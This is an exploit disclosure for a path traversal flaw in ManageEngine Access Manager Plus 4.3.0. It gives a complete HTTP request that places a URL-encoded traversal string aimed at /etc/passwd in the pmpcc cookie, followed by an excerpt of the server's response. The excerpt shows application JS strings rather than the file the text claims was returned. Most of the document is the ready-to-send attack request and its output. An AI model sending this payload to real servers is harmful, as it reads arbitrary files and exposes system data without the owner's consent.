ManageEngin AMP 4.3.0 – File-path-traversal
## Exploit Title: ManageEngine Access Manager Plus 4.3.0 - File-path-traversal ## Author: nu11secur1ty ## Date: 11.22.2023 ## Vendor: https://www.manageengine.com/ ## Software: https://www.manageengine.com/privileged-session-management/download.html ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ManageEngine/Access-Manager-Plus-version-4.3-(Build-4309) ## Description: The `pmpcc` cookie is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. The testing payload ..././..././..././..././..././..././..././..././..././..././etc/passwd was submitted in the pmpcc cookie. The requested file was returned in the application's response. The attacker easy can see all the JS structures of the server and can perform very dangerous actions. ## STATUS: HIGH Vulnerability [+] Exploits: ```GET GET /amp/webapi/?requestType=GET_AMP_JS_VALUES HTTP/1.1 Host: localhost:9292 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: pmpcc=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd; _zcsr_tmp=41143b42-8ff3-4fb0-8b30-688f63f9bf9a; JSESSIONID=2D2DB63E708680CBC717A8A165CE1D6E; JSESSIONIDSSO=314212F36F55D2CE1E7A76F98800E194 Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107" Sec-CH-UA-Mobile: ?0 X-Requested-With: XMLHttpRequest Sec-CH-UA-Platform: Windows Referer: https://localhost:9292/AMPHome.html ``` [+] Response: ``` ,'js.pmp.helpCertRequest.subcontent10':'The issued certificate is e-mailed to the user who raises the request, the user who closes the request and also to those e-mail ids specified at the time of closing the request.' ,'js.admin.HelpDeskIntegrate.UsernameEgServiceNow':'ServiceNow login username' ,'js.PassTrixMainTab.ActiveDirectory.next_schedule_time':'Next synchronization is scheduled to run on' ,'js.agent.csharp_Windows_Agent':'C# Windows Agent' ,'js.PassTrixMainTab.in_sec':'Seconds' ,'godaddy.importcsr.selectfileorpastecontent':'Either select a file or paste the CSR content.' ,'js.connection.colors':'Colors' ,'js.general.ShareToGroups':'Share resource to user groups' ,'js.connection.mapdisk':'Drives' ,'jsp.admin.Support.User_Forums':'User Forums' ,'js.general.CreateResource.Dns_url_check':'Enter a valid URL .
